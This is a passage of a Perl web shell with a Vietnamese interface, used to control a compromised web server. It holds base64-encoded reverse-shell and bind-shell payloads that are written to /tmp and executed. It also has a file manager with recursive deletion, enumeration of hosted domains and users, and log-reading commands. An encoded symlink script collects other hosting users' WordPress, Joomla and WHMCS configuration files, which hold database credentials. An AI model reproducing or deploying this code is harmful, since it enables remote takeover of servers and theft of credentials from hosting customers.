- $backperl="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRjbWQ9ICJseW54IjsKJHN5c3RlbT0gJ2VjaG8gIiI7CmVjaG8gIlsrXSBNYXJpb24wMDEgQmFjayBDb25uZWN0IFRoYW5oIENvbmcgIjsKZWNobyAiWytdIEZCOiBodHRwczovL3d3dy5mYWNlYm9vay5jb20vUGFydHkuTWFyaW9uMDAxIjsKZWNobyAiWytdIE1haWw6IE1yLk1hcmlvbjAwMUBnbWFpbC5jb20iO2VjaG8gIiI7CmVjaG8gIlstXSBVbmFtZSAtYToiO2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gIiI7CmVjaG8gIlstXSBpZDoiO2VjaG8gImBpZGAiO2VjaG8gIiI7ZWNobyAiWy1dIHB3ZDoiOwplY2hvICJgcHdkYCI7ZWNobyAiIjtlY2hvICJbK10gQ29tbWFuZCBNYXJpb24wMDE+IjtlY2hvIiI7L2Jpbi9zaCc7CiQwPSRjbWQ7CiR0YXJnZXQ9JEFSR1ZbMF07CiRwb3J0PSRBUkdWWzFdOwokaWFkZHI9aW5ldF9hdG9uKCR0YXJnZXQpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKc3lzdGVtKCRzeXN0ZW0pOwpjbG9zZShTVERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7";
- $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
- $ClientAddr = $in{'clientaddr'};
- $ClientPort = int($in{'clientport'});
- if($ClientPort eq 0)
- {
- return &BackBindForm;
- }elsif(!$ClientAddr eq "")
- {
- $Data=decode_base64($backperl);
- if(-w "/tmp/")
- {
- $File="/tmp/backconnect.pl";
- }else
- {
- $File=$CurrentDir.$PathSep."backconnect.pl";
- }
- open(FILE, ">$File");
- print FILE $Data;
- close FILE;
- system("perl $File $ClientAddr $ClientPort");
- unlink($File);
- exit 0;
- }else
- {
- $Data=decode_base64($bindperl);
- if(-w "/tmp")
- {
- $File="/tmp/bindport.pl";
- }else
- {
- $File=$CurrentDir.$PathSep."bindport.pl";
- }
- open(FILE, ">$File");
- print FILE $Data;
- close FILE;
- system("perl $File $ClientPort");
- unlink($File);
- exit 0;
- }
- }
- #------------------------------------------------------------------------------
- # Array List Directory
- #------------------------------------------------------------------------------
- sub RmDir($)
- {
- my $dir = shift;
- if(opendir(DIR,$dir))
- {
- while($file = readdir(DIR))
- {
- if(($file ne ".") && ($file ne ".."))
- {
- $file= $dir.$PathSep.$file;
- if(-d $file)
- {
- &RmDir($file);
- }
- else
- {
- unlink($file);
- }
- }
- }
- closedir(DIR);
- }
- }
- sub FileOwner($)
- {
- my $file = shift;
- if(-e $file)
- {
- ($uid,$gid) = (stat($file))[4,5];
- if($WinNT)
- {
- return "???";
- }
- else
- {
- $name=getpwuid($uid);
- $group=getgrgid($gid);
- return $name."/".$group;
- }
- }
- return "???";
- }
- sub ParentFolder($)
- {
- my $path = shift;
- my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
- chop($path = `$Comm`);
- return $path;
- }
- sub FilePerms($)
- {
- my $file = shift;
- my $ur = "-";
- my $uw = "-";
- if(-e $file)
- {
- if($WinNT)
- {
- if(-r $file){ $ur = "r"; }
- if(-w $file){ $uw = "w"; }
- return $ur . " / " . $uw;
- }else
- {
- $mode=(stat($file))[2];
- $result = sprintf("%04o", $mode & 07777);
- return $result;
- }
- }
- return "0000";
- }
- sub FileLastModified($)
- {
- my $file = shift;
- if(-e $file)
- {
- ($la) = (stat($file))[9];
- ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
- $y = $y + 1900;
- @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
- $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
- return $lmtime;
- }
- return "???";
- }
- sub FileSize($)
- {
- my $file = shift;
- if(-f $file)
- {
- return -s "$file";
- }
- return "0";
- }
- sub ParseFileSize($)
- {
- my $size = shift;
- if($size <= 1024)
- {
- return $size. " B";
- }
- else
- {
- if($size <= 1024*1024)
- {
- $size = sprintf("%.02f",$size / 1024);
- return $size." KB";
- }
- else
- {
- $size = sprintf("%.2f",$size / 1024 / 1024);
- return $size." MB";
- }
- }
- }
- sub trim($)
- {
- my $string = shift;
- $string =~ s/^\s+//;
- $string =~ s/\s+$//;
- return $string;
- }
- sub AddSlashes($)
- {
- my $string = shift;
- $string=~ s/\\/\\\\/g;
- return $string;
- }
- sub TrimSlashes($)
- {
- my $string = shift;
- $string=~ s/\/\//\//g;
- $string=~ s/\\\\/\\/g;
- return $string;
- }
- sub ListDir
- {
- my $path = &TrimSlashes($CurrentDir.$PathSep);
- my $result = "<form name='f' onSubmit=\"Encoder('d')\" action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' id='d' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Enter'></form>";
- if(-d $path)
- {
- my @fname = ();
- my @dname = ();
- if(opendir(DIR,$path))
- {
- while($file = readdir(DIR))
- {
- $f=$path.$file;
- if(-d $f)
- {
- push(@dname,$file);
- }
- else
- {
- push(@fname,$file);
- }
- }
- closedir(DIR);
- }
- @fname = sort { lc($a) cmp lc($b) } @fname;
- @dname = sort { lc($a) cmp lc($b) } @dname;
- $result .= "<div><table width='90%' class='listdir'>
- <tr style='background-color: #3e3e3e'><th>Tên File</th>
- <th width='100'>Kick Thước File</th>
- <th width='150'>Nơi Sở hữu</th>
- <th width='100'>Sự Cấp Phép</th>
- <th width='150'>Thay Đổi Mới Nhất</th>
- <th width='230'>Hành Động</th></tr>";
- my $style="notline";
- my $i=0;
- foreach my $d (@dname)
- {
- $style= ($style eq "line") ? "notline": "line";
- $d = &trim($d);
- $dirname=$d;
- if($d eq "..")
- {
- $d = &ParentFolder($path);
- }
- elsif($d eq ".")
- {
- next;
- }
- else
- {
- $d = $path.$d;
- }
- $result .= "<tr class='$style'><td id='File_$i' class='dir'><a href='?a=gui&d=".&EncodeDir($d)."'>[ ".$dirname." ]</a></td>";
- $result .= "<td>DIR</td>";
- $result .= "<td>".&FileOwner($d)."</td>";
- $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
- $result .= "<td>".&FileLastModified($d)."</td>";
- $result .= "<td><a onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."'); return false; \">Đổi Tên</a> | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$dirname'>Di Chuyển</a></td>";
- $result .= "</tr>";
- $i++;
- }
- foreach my $f (@fname)
- {
- $style= ($style eq "line") ? "notline": "line";
- $file=$f;
- $f = $path.$f;
- my $action = encode_base64("edit ".$file);
- $view = "?dir=".$path."&view=".$f;
- $result .= "<tr class='$style'><td id='File_$i' class='file'><a href='?a=command&d=".&EncodeDir($path)."&c=".$action."'>".$file."</a></td>";
- $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
- $result .= "<td>".&FileOwner($f)."</td>";
- $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
- $result .= "<td>".&FileLastModified($f)."</td>";
- $result .= "<td><a onclick=\"rename_form($i,'$file','f'); return false;\">Đổi Tên</a> | <a href='?a=download&o=go&f=".$f."'>Tải Xuống</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$file'>Di Chuyển</a></td>";
- $result .= "</tr>";
- $i++;
- }
- $result .= "</table></div>";
- }
- return $result;
- }
- #------------------------------------------------------------------------------
- # Try to View List User
- #------------------------------------------------------------------------------
- sub ViewDomainUser
- {
- open (d0mains, '/etc/named.conf') or $err=1;
- my @cnzs = <d0mains>;
- close d0mains;
- my $style="line";
- my $result="<h3><font style='font: 15pt Verdana;color: 00FF00;'>Cảnh Báo ! Shell Để Sử Dụng Tham Khảo, Không Hack</font></h3>";
- if ($err)
- {
- $result .= ('<p>Thất Bại, Không Thể Vượt Qua Nó</p>');
- return $result;
- }else
- {
- $result .= '<table id="domain"><tr><th>d0mains</th> <th>User</th></tr>';
- }
- foreach my $one (@cnzs)
- {
- if($one =~ m/.*?zone "(.*?)" {/)
- {
- $style= ($style eq "line") ? "notline": "line";
- $filename= trim("/etc/valiases/".$1);
- $owner = getpwuid((stat($filename))[4]);
- $result .= '<tr style="$style" width=50%><td><a href="http://'.$1.'" target="_blank">'.$1.'</a></td><td> '.$owner.'</td></tr>';
- }
- }
- $result .= '</table>';
- return $result;
- }
- #------------------------------------------------------------------------------
- # View Log
- #------------------------------------------------------------------------------
- sub ViewLog
- {
- $EncodeCurrentDir = EncodeDir($CurrentDir);
- if($WinNT)
- {
- return "<h2><font style='font: 20pt Verdana;color: 00FF00;'>Don't run on Windows</font></h2>";
- }
- my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
- my @pathlog=( '/usr/local/apache/logs/error_log',
- '/usr/local/apache/logs/access_log',
- '/usr/local/apache2/conf/httpd.conf',
- '/var/log/httpd/error_log',
- '/var/log/httpd/access_log',
- '/usr/local/cpanel/logs/error_log',
- '/usr/local/cpanel/logs/access_log',
- '/usr/local/apache/logs/suphp_log',
- '/usr/local/cpanel/logs',
- '/usr/local/cpanel/logs/stats_log',
- '/usr/local/cpanel/logs/access_log',
- '/usr/local/cpanel/logs/error_log',
- '/usr/local/cpanel/logs/license_log',
- '/usr/local/cpanel/logs/login_log',
- '/usr/local/cpanel/logs/stats_log',
- '/var/cpanel/cpanel.config',
- '/usr/local/php/lib/php.ini',
- '/usr/local/php5/lib/php.ini',
- '/var/log/mysql/mysql-bin.log',
- '/var/log/mysql.log',
- '/var/log/mysqlderror.log',
- '/var/log/mysql/mysql.log',
- '/var/log/mysql/mysql-slow.log',
- '/var/mysql.log',
- '/var/lib/mysql/my.cnf',
- '/etc/mysql/my.cnf',
- '/etc/my.cnf',
- );
- my $i=0;
- my $perms;
- my $sl;
- foreach my $log (@pathlog)
- {
- if(-r $log)
- {
- $perms="OK";
- }else
- {
- $perms="<font style='color: red;'>Cancel<font>";
- }
- $result .=<<END;
- <tr>
- <form action="" method="post" onSubmit="Encoder('log$i')">
- <td><input type="text" id="log$i" name="c" value="tail -10000 $log | grep '/home'" size='50'/></td>
- <td><input class="submit" type="submit" value="Try" /></td>
- <input type="hidden" name="a" value="command" />
- <input type="hidden" name="d" value="$EncodeCurrentDir" />
- </form>
- <td>$perms</td>
- </tr>
- END
- $i++;
- }
- $result .="</table>";
- return $result;
- }
- sub ConfigIzaass{
- open (CreateNew,">Config.log") or die "Không Thể Tạo File";
- $configizaass = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PHRpdGxlPkNvbmZpZy5sb2c8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoubmV3U3R5bGUxIHsKIGZvbnQtZmFtaWx5OiBUYWhvbWE7CiBmb250LXNpemU6IHgtc21hbGw7CiBmb250LXdlaWdodDogYm9sZDsKIGNvbG9yOiAjMDBGRkZGOwogIHRleHQtYWxpZ246IGNlbnRlcjsKfQo8L3N0eWxlPjwvaGVhZD4nOwpzdWIgbGlsewogICAgKCR1c2VyKSA9IEBfOwokbXNyID0gcXh7cHdkfTsKJGtvbGE9JG1zci4iLyIuJHVzZXI7CiRrb2xhPX5zL1xuLy9nOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4yLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluNC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGExLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEzLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0yLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG00LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG01LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTYtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJ35+NS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nfn40LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJ35+aW52aXNpby1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJ35+Ny1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJ35+OC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJ35+bWstcG9ydGFsZTEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nfn4xMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLid+flNtZi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nfn5waHBiYjMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fmluZmluaXR5LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4xLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4yLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4zLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW40LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+flBocGJiMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MyLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+Sm9vbWxhMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEzLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htNC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTUtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTYtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTctbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG04LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htOS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLid+fjUtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLid+fjQtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJ35+aW52aXNpby1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLid+fjctbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nfn44LWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJ35+bWstcG9ydGFsZTEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJ35+MTItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJ35+U21mLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nfn5waHBiYjMtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nfn5pbmZpbml0eS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMS1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMy1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluNC1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIxLWxvZy50eHQnKTsKc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjItbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczEtbG9nLnR4dCcpOwpzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJ35+V29yZHByZXNzMi1sb2cudHh0Jyk7CnN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTEtbG9n